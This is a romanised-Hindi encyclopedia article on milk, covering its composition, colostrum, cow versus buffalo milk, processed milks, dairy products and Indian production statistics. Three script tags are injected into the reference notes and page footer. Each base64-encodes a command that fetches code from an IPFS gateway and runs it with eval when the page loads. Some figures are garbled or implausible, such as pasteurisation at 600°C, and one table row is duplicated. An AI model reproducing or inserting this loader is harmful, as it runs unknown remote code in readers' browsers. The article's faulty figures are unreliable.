दूध
thumb|gilas mean doodh doodh ek aparadarshi safed pey padarth hai jo madaoan ke dugdh granthiyoan dvara banata hai. navajat shishu tab tak doodh par nirbhar rahata hai jab tak vah any padarthoan ka sevan karane mean aksham hota hai.
- doodh ek vijatiy padarth hai jisamean vasa, protin, dugdham, khanij padarth tatha any avayav ya to ghol ya nilamban ya payas ke roop mean sadaiv drav avastha mean pae jate haian.
- sadharanataya doodh mean 85 pratishat jal hota hai aur shesh bhag mean thos tattv yani khanij v vasa hota hai. gay-bhaians ke alava bazar mean vibhinn kanpaniyoan ka paikd doodh bhi upalabdh hota hai.
- doodh protin, kailshiyam aur raibophlevin (vitamin bi -2) yukt hota hai, inake alava isamean vitamin e, di, ke aur ee sahit ph aausphoras, maignishiyam, ayodin v kee khanij aur vasa tatha oorja bhi hoti hai. isake alava isamean kee eanjaim bhi hote haian. ahar visheshajnoan ki manean to ye sab poshak tatv hamari maansapeshiyoan aur haddiyoan ke gathan mean aham bhoomika nibhate haian. protin eantib aaudij ke roop mean kam karata hai aur hamean inphekshan se bachata hai.
- doodh mean nyoonatam vasa 3.5 pratishat aur vasa rahit thos 8.5 pratishat honi chahiye. doodh ka PH man 6.6 tatha kvathanaank 100 se 115 se.gre. hota hai.
mukhy avayav aur bhautik gun
doodh ke vibhinn vishleshanoan se pata chalata hai ki isamean vasa, protin, khanij lavan, dugdham adi mukhy avayav haian. in avayavoan ki matra vibhinn pashuoan tatha ek hi pashu mean vibhinn samayoan par bhinn-bhinn hota hai.
| gun | doodh | khis |
|---|---|---|
| svad | mitha | tikha |
| sugandh | samany | samany |
| amlata | 0.12 se 0.14 % | 0.2 se 0.4 % |
| himaank | -0.52 °C se -0.56 °C | -0.605 °C |
| kloraidas | 0.14 % | 0.149 se 0.156 % |
| vartanaank | 1.344 - 1.348 | doodh ki apeksha adhik |
| apekshik ghanatv | 1.028 se 1.032 | 1.04 se 1.08 |
| vidyut sanchalakata | 0.005 mho | doodh ki apeksha adhik |
| gadhapan | 1.5 se 2.0 seanti pais | doodh ki apeksha adhik |
- ghi athava doodh ka pila rang kairotin ke karan hota hai.
- shuddh deshi ghi mean ek vishesh prakar ki sugandh daiesitil ke karan hoti hai.
- doodh mean kesin, elabyoomin tatha globin, tin pramukh prakar ke protin paye jate haian. isamean kesin ki matra sabase adhik hoti hai.
- kesin protin se 'lenital' ya lektophil tatha eralok nam ke dhage banaye jate haian.
- dugdham doodh mean paya jane vala mukhy karbohaidret hai.
khis
khis ek prakar ka ksharan hai jo bachcha paida hone ke turant bad prapt hota hai. yah ksharan navajat shishu ke lie ati avashyak hota hai, kyoanki yah shishu ki bahut si bimariyoan se raksha karata hai. isaka sanghatan samany doodh se alag tarah ka hota hai jo kuchh din ke andar samany doodh mean parivartit ho jata hai. khis ka doodh ki tulana mean adhik pila hone ke karan usamean kairotin ki adhikata tatha gulabi rang ka karan usamean rakt ka mila hona hai. khis mean protin ki matra 11.34% dugdh ki matra 2.19%, rakh ki matra 1% tatha jal ki matra 74.19% hoti hai.
khis rechak tatha rog pratikarak ke roop mean mahattvapoorn hai. isake atirikt khis mean vitamin e, vitamin bi, triptophen tatha loha evan globyalin (prolin) ki matra adhik hoti hai jo bachchoan ko sankramak rogoan se bachata hai.
paushtik ahar
doodh prakriti ka sabase paushtik ahar hai. isalie ise dharati ka amrit bhi kahate haian. manushy ke lie doodh sarvottam aur sanpoorn khady padarth hai. doodh manushy ki adhikaansh poshan avashyakataoan ki poorti karata hai. doodh vah ahar hai jo stanapayi praniyoan ko janm lete hi sabase pahale upalabdh hota hai. manav shishu to praranbhik 5-6 mah tak evan bad mean kuchh mah tak aanshik roop se mata ke doodh par hi nirbhar rahata hai. yah nishchit hai ki svasth maan ka doodh pine vala balak jitana svasth, sudaul aur hasht-pusht rahata hai, utana khana (bhojan) shuroo karane ke bad nahian rah pata. doodh ek aisa pey padarth jo asani se pach jata hai. doodh mean sharirik vriddhi karane vale, sharir ko shakti dene vale sabhi tattv vidyaman rahate haian. doodh shakti, vriddhi, kanti, bal, viry badhane vala hota hai. yah sharir ko thandak dete hue mal ko pravritt karata hai v pachan ko thik banae rakhane mean sahayak hota hai. doodh ayu badhakar yauvan ko adhik kal tak banae rakhata hai. doodh mean sharir ko shakti dene vale sabhi tatv kafi matra mean pa jate haian. shakahariyoan ke lie doodh se badhakar koee paushtik vastu nahian hai. yadi maansahari ek kap doodh pie to donoan ki shakti saman hoti hai. doodh mean kailshiyam evan phasphoras kafi matra mean pae jate haian. isase haddiyaan, daant, maansapeshiyaan mazaboot hoti haian. manushy sirf doodh pikar janm se lekar vriddhavastha tak anandapoorvak jivan nirvah kar sakata hai. isake sevan se kisi prakar ke rog hone ki sanbhavana nahian rahati hai. doodh mean manushy sharir ke poshak tatv uchit matra mean vidyaman rahate haian. doodh ki sabase b di visheshata yah hai ki yah ek poorn pushtikarak ahar hote hue bhi bahut jaldi hajam ho jata hai. doodh kisi bhi halat mean nukasan nahian karata. har halat mean gunakari hota hai.[1]
gay ka doodh
gay ke doodh mean prati gram 3.14 mili gram kolestr aaul hota hai. yogachary surakshit gosvami gay ke taja doodh ko hi uttam manate haian. anekanek chikatsakoan ka bhi manana hai ki gay ka doodh bhaians ki tulana mean dimag ke lie achchha hai, par iandiyan spainal ianjari seantar ke medikal dayarektar d aau. ech. es. chhab da ke anusar kuchh stadi batati haian ki gay ke doodh se behatar hai bhaians ka doodh. usamean kam kolestr aaul hota hai aur minaral zyada hote haian. gay ke doodh mean karbohaidret lektej ki matra 4% tatha vasa ki matra 4.5% hoti hai.
bhaians ka doodh
thumb|200px|doodh duhati mahila bhaians ke doodh mean prati gram 0.65 mili gram kolestr aaul hota hai. bhaians ke doodh mean gay ke doodh ki tulana mean 92 phisadi kailshiyam, 37 phisadi ayaran aur 118 phisadi ph aausphoras zyada hota hai. bhaians ke doodh mean karbohaidret lektej ki matra 4.9% tatha vasa ki matra 7% hoti hai.[2]
vishisht doodh
toand dugdh
bhaians ke doodh mean pani milakar vasa tatha vasa rahit thos padarthoan ki matra kam kar diya jata hai tatha isamean punah sapreta doodh milakar vasa rahit thos padarthoan ko shuddh doodh ke barabar kar diya jata hai. is prakar bane doodh ko toand milk kahate haian.
dabal toand dugdh
yah bhi ek prakar ka toand milk hi hai lekin isamean vasa ki matra 1.5% tatha vasa rahit thos padarth ki matra 10% hoti hai. isamean sapreta doodh ki jagah sapreta doodh choorn ka prayog kiya jata hai.
phlevard dugdh
isamean pashchurikrit doodh mean tho da mitha evan sugandh phlevard doodh ka nirman kiya jata hai, tatpashchath ise botaloan mean bharakar ise bazar mean becha jata hai. isaka poshak man pashchurikrit doodh se zyada hota hai kyoanki isamean chini evan sugandh donoan alag se milaya jata hai.
prabalikrit ya vitamin yukt dugdh
dugdh evan dugdh padarthoan mean vitamin-di ki matra milakar isaki poshan mahatta adhik ki jati hai. kuchh deshoan mean shuddh doodh ki jagah sapreta doodh hi bachchoan ko pine ko milata hai. aisi dasha mean bachchoan ke sharir mean vitamin e ki bhari kami ho jati hai. sapreta doodh mean vitamin e evan vitamin di milakar isaki gunavatta ko badhaya ja sakata hai. is prakar vitaminayukt doodh ko prabalikrit doodh kahate haian.
soyabin doodh
soyabin se bane doodh ko soyabin doodh kahate haian. soyabin protin ka achchha evan sasta srot hai. phalatah soyabin ke doodh mean bhi protin ki matra kafi hoti hai. yah doodh paushtikata se paripoorn hota hai.
sanghanit doodh
sanghanit athava vashpit vah doodh hai jisase jal ka kuchh bhag vashpikaran ke dvara alag kar diya jata hai. jab isamean chini mila di jati hai tab ise sanghanit doodh kahate haian. yadi chini n milaee jay to use vashpit doodh ya sada sanghanit doodh kahate haian.
doodh ka upayog
[[chitr:Woman-Dairy-Farmer-Stamp.jpeg|thumb|left|250px|mahila dugdhakarta par jari dak tikat]] doodh ka sabase achchha upayog pina hai. doodh hamesha taja pina chahie. doodh ko 15-20 minat achchhi tarah ubal kar tatha thanda karake pina chahie. doodh ubalane se usake sabhi hanikarak kitanu nasht ho jate haian. doodh pine ka sabase achchha samay rat ko sote samay rahata hai. bhojan karane ke 2-3 ghante bad rat ko sote samay doodh pina chahie, jo vyakti sharirik roop se kamazor ho, unhean doodh thanda karake shahad dalakar pina chahie. jin vyaktiyoan ko kabj ki shikayat rahati hoan, unhean doodh mean munakka dalakar kuchh der ubalakar pina chahie, isase kabj se chhutakara milata hai. ja de ke dinoan mean ek gilas doodh mean ek-do aanjir dalakar ubalakar pine se doodh ki paushtikata mean vriddhi ho jati hai. [1]
dugdh sansadhan
pasturikaran
yah vah prakriya hai jisamean doodh ko nishchit tapakram par ek nishchit nishchit samay tak rakhakar isamean upasthit prayah sabhi jivanuoan ko nasht kar diya jata hai. is bat ka vishesh dhyan rakha jata hai ki doodh ki poshan mahatta tatha krim leyar par koee prabhav n p de. is prakriya mean samany taur par doodh ko 600°C par 20 minat tak rakha jay to usake sabhi vyadhijan jivanu nasht ho jate haian. yah vidhi isake khojakarta luee pashchar ke nam par jani jati hai.
nirjivikaran
nirjivikaran ka tatpary doodh ko garm karake jivanu rahit karana hai. isake lie doodh ko 30 minat tak 93.3°C - 94.40°C tapakram par rakhate haian. yadyapi isamean doodh poornataya nirjavikrit to nahian ho pata phir bhi jivanuoan ki matra kam ho jati hai. isase doodh ko lambe samay tak sangrahit kar rakha ja sakata hai.
samaangikaran
is vidhi mean doodh ki vasa golikaoan ko chhote-chhote kanoan mean khandit kar diya jata hai. taki doodh ko sangrah karate samay usake oopar krim leyar ke roop mean ekatrit n hoan sakean aur sare doodh mean saman roop se bikhare rah sakean. isake lie pahale doodh ko 37.70°C se 480°C tap par garm karane ke bad isaka tapakram 600°C se 650°C kar diya jata hai aur is tap par isako samaangikaran yantr dvara 2000 se 2500 paund prati varg ianch ka dabav dalate haian. is doodh ko punah 1/10000 ianch ke chhidr se bahar nikalate haian phalatah vasa golikaean chhote-chhote kanoan mean vibhakt ho jati haian.
dugdh utpad
krim
yah ek prakar ka doodh hota hai jisamean vasa ki matra badh jati hai tatha pani ki matra kam ho jati hai. krim mean vasa ka koee nirdharit star nahian hota hai phir bhi bazar mean beche jane vale krim mean vasa ki matra 45% se adhik hoti hai. krim ka rang adhik pila hota hai. isaka karan krim mean vasa ki adhikata hona hai. vasa mean vitamin e, jo kairotin se prapt hota hai poornatah ghulanashil hota hai isalie kairotin evan jaianthophil ke karan krim ka rang pila hota hai. krim ko samany taur par gurutvakarshan vidhi athava apakendri vidhi se doodh se nikala jata hai.
makkhan
makkhan bhi ek prakar ka dugdh utpad hai jo gay- bhaians tatha any stanadhari pashuoan ke doodh ya krim ko mathane se prapt hota hai. isamean vasa 80% se kam aur 20% se adhik any padarth jaise-pani, namak tatha annanatoranjak nahian honi chahie. sath hi pani ki matra 16% se adhik nahian honi chahie.
dahi
[[chitr:Curd.jpg|thumb|dahi|250px]]
- REDIRECTsaancha:mukhy
dahi ek prakar ka dugdh utpad hai jo doodh ke samany kinvan se prapt hota hai. samany kinvan mean doodh ko ubalakar 21 tap tak thanda karake usamean uchit matra mean jaman milakar prapt kiya jata hai. jaman ka tatpary doodh mean dahi jamane ke lie jaman milane se hai. jaman ek prakar ki doodh se bani huee vastu hai jisamean keval vahi jivanu hote haian jinako ham dahi mean paida karana chahate haian. dahi mean vahi jivanu hone chahie jo doodh mean dugdhaml utpann karate haian. ye jivanu prayah streptokokas athava amlaragi hote haian. dahi mean prayah vah sabhi tattv milate haian jo ki sadharan doodh mean hote haian. keval aantar yah hota hai ki dahi mean pani evan dugdham ki matra sadharan doodh ki apeksha kam hoti hai aur sath-sath dahi mean dugdhaml ki matra kafi badh jati hai.
chhena
chhena ek prakar ka dugdh utpad hai jo ubalate doodh ko aml dvara pha dakar taiyar kiya jata hai. doodh ko pha dane ke lie dugdhaml ya saitrik aml athava saitrik phaloan ka ras prayog mean laya jata hai. chhena taiyar hone ke bad ise jal se alag kar liya jata hai.
aisakrim
[[chitr:Ice-Cream.jpg|thumb|aisakrim]]
- REDIRECTsaancha:mukhy
yah ek prakar ka kashavat evan himikrit khady utpad hai jisako dugdh utpad ke mishran se banaya jata hai. isamean dugdh, vasa, vasa rahit thos padarth evan chini ki ek ichchhit pratishat matra hoti hai. isake atirikt isamean ranjak padarth bhi milaya jata hai.
panir
panir bhi chhena ki hi tarah dugdh utpad hai tatha ise banane ki vidhi bhi lagabhag chhena ki tarah hai. ise bhi aml dvara pha dakar banaya jata hai parantu panir ko panir jal se alag karane ke bad lak di ke saanche mean bharakar 2 kigra. prati varg semi. ka dabav dalakar shesh jal ko panir se alag kiya jata hai. phir ise avashyakata anusar tuk doan mean katakar 2-3 ghante tak thande jal mean dubo kar rakha jata hai.
ghi
- REDIRECTsaancha:mukhy
ghi bhi ek prakar ka dugdh utpad hi hai. yah makkhan tatha krim ko ek nishchit tap par garm karake prapt kiya jata hai. isamean dugdh vasa ki matra 99% se adhik hoti hai. shesh jal aur chhachh ka hota hai. shuddh ghi mean daiesitil ki upasthiti ke karan ek vishesh prakar ki suvas hoti hai. uttar pradesh, rajasthan tatha panjab ghi utpadan ke lie vishesh roop se jane jate haian.
khova
doodh ko garm karake usake pani ko aanshik roop se sukhakar taiyar kiya gaya utpad khova kahalata hai. yah vishuddh roop se bharatiy dugdh utpad hai. yah mool roop se mithaee adi banane ke kam ata hai. is prakar khova ya mava ek aanshik shoshit dugdh padarth hai jo doodh ko ek khule bartan mean garm karake taiyar kiya jata hai.
dugdh choorn
doodh ko poorn vashpit karake banaya gaya vah dugdh padarth jisamean namian aansh adhikatam 3% ho, dugdh choorn kahalata hai. jab yah sanpoorn doodh aur sapreta doodh se banaya jata hai to ise kramashah sanpoorn doogdh choorn aur skimd dugdh choorn kahate haian.
dugdh udyog
| varsh | dugdh utpadan (lakh tan mean) | varshik vriddhi % mean |
|---|---|---|
| 1950-1951 | 170 | - |
| 1960-1961 | 200 | 17.65%*[3] |
| 1970-1971 | 212 | 0.6.00%* |
| 1980-1981 | 316 | 32.91%* |
| 1990-1991 | 539 | 70.56%* |
| 1991-1992 | 557 | 03.33%+[4] |
| 1992-1993 | 580 | 04.12%+ |
| 1993-1994 | 606 | 04.48%+ |
| 1994-1995 | 638 | 05.28%+ |
| 1995-1996 | 662 | 03.60%+ |
| 1996-1997 | 691 | 04.38% + |
| 1997-1998 | 721 | 04.34%+ |
| 1998-1999 | 754 | 04.57%+ |
| 1998-1999 | 754 | 04.57%+ |
| 1999-2000 | 783 | 03.84%+ |
| 2000-2001 | 808 | 03.19%+ |
| 2001-2002 | 844 | 04.45%+ |
| 2002-2003 | 867 | 02.75%+ |
| 2003-2004 | 881 | 01.61%+ |
| 2004-2005 | 92.5 | 04.99%+ |
| 2005-2006 | 971 | 04.97%+ |
| 2006-2007 | 1009 | 03.92%+ |
| 2007-2008 | 1020 | 01.09% |
deyari pharmiang ya dugdh udyog ke lie pala jane vala mukhy pashu gay hai. vishv mean adhikaansh gay pashchimi yoorop mean vishesh roop se briten, nidaralaind aur svitjaralaind mean payi jati hai. garnasi aur aladarno gayoan mean garnasi chhete dvip aur aladarno ianglish chainal mean sthit dvip samoohoan v uttari-poorvi phraans ke nadi tat par payi jati hai. jarsi dugdh utpadan prajati ki sabase chhoti gay hoti hai. isake doodh mean atyadhik uchch star par makkhan paya jata hai. phrisiyan prajati ki gay dugdh utpadan ki sabase b di gay hai. dugdhotpadak pashuoan mean yah sarvadhik dugdh dene vali nasl hai. ise h aaulsatin bhi kaha jata hai. gay ki ek any prajati svis braun hai. isake doodh ka upayog svitjaralaind ke prasiddh ch aaukaletoan mean kiya jata hai. pashchimi yoorop, sanyukt rajy amerika aur dakshini mahadesh ke shitoshn bhag atyadhik dugdh utpadak kshetr hai. isake atirikt baltik rajy, belaroos, roos aur kazakistan any pramukh dugdh utpadan kshetr hai. san.ra. amerika doodh, makkhan aur panir utpadan ka pramukh utpadan desh hai. vartaman mean bharat sabase b da utpadak desh ban gaya hai. nidaralaind kandesd aur paudar doodh ka sabase b da niryatak desh hai. nyoojilaind makkhan ka sabase b da utpadak desh hai.
bharat mean dugdh udyog
- REDIRECTsaancha:mukhy
doodh tatha usase sambandhit utpadoan ke udyog ke nam se jana jata haian tatha dugdh udyog ke vikas ke chal rahe karyoan ka adhyayan dugdh vijnan ke tahat karate haian. deri udyog ka mahatv sirf doodh aur isase banane vale padarthoan tak simit nahian hai. isase lakhoan chhote/majhole kisanoan tatha khetihar mazadooroan ko poorak rozagar tatha ay ka niyamit srot prapt hota hai. bharat mean aj bhi krishi rashtriy ay ka ek mukhy srot hai. desh mean badhate audyogikaran ke karan desh ki rashtriy ay mean krishi ay nakaratmak parivartan raha hai. varsh 1982-1983, 1988-1989, 1989-1990- evan 1990-1991 mean kul rashtriy ay mean krishi ka hissa kramashah 36.47, 31%, 30.4% evan 31.6% tha. varsh 2006-2007 mean yah bhagidari ghatakar 18.57% rah gayi hai. krishi ay ka ek mukhy srot deri udyog hai. kul rashtriy krishi utpad ka bhari hissa dugdh udyog se prapt hota hai.
vishv mean dugdh utpadan ke kshetr mean bharat varsh 2000 mean pahale sthan par pahuanch gaya. parantu prati vyakti dugdh upalabdhata 246 gram prati din (2007-08) anumanit hai jo ki nyoonatam anivaryata 210 gram se tho da adhik hai. 2006-07 ke dauran kul dugdh utpadan 1009 lakh tan hua jabaki 2007-08 ke dauran doodh ka kul utpadan 1020 lakh tan hone ki pratyasha hai. bharat mean sabase adhik dugdh utpadan uttar pradesh mean hota hai. doosare, tisare aur chauthe nambar par kramashah panjab, rajasthan tatha andhr pradesh v bihar ate haian.
varsh 2005 ke bad prati varsh do karo d tan doodh ki kami ki ashanka vyakt ki gayi hai. ek gair-sarakari sangathan inisietiv ne apani riport mean kaha hai ki varsh 2005 ke bad bharat mean prati varsh 2 karo d tan doodh ki kami rahegi. muanbee ke is sangathan ki ek riport hvait rieliti mean kaha gaya hai ki pichhale varshoan ke anusar sarakar ki niti shahari doodh upabhoktaoan par kendrit hai, jahaan doodh asani se upalabdh haian. gaanvoan mean prati vyakti doodh upalabdhata sirf 121 gram prati din hai jo usaki poshahar anupat ka sirf 50 pratishat hai. vishv dugdh utpadan ka kul vyapar das hazar miliyan d aaular hai, jisamean bharat ki hissedari sirf 10 miliyan d aaular hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 doodh ek paushtik ahar (hindi) (pi.ech.pi) raanchi eksapres. abhigaman tithi: 13 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ doodh ke bare mean sabakuchh... (hindi). . abhigaman tithi: 24 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ *=dashakiy vriddhi
- ↑ + =varshik vriddhi
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>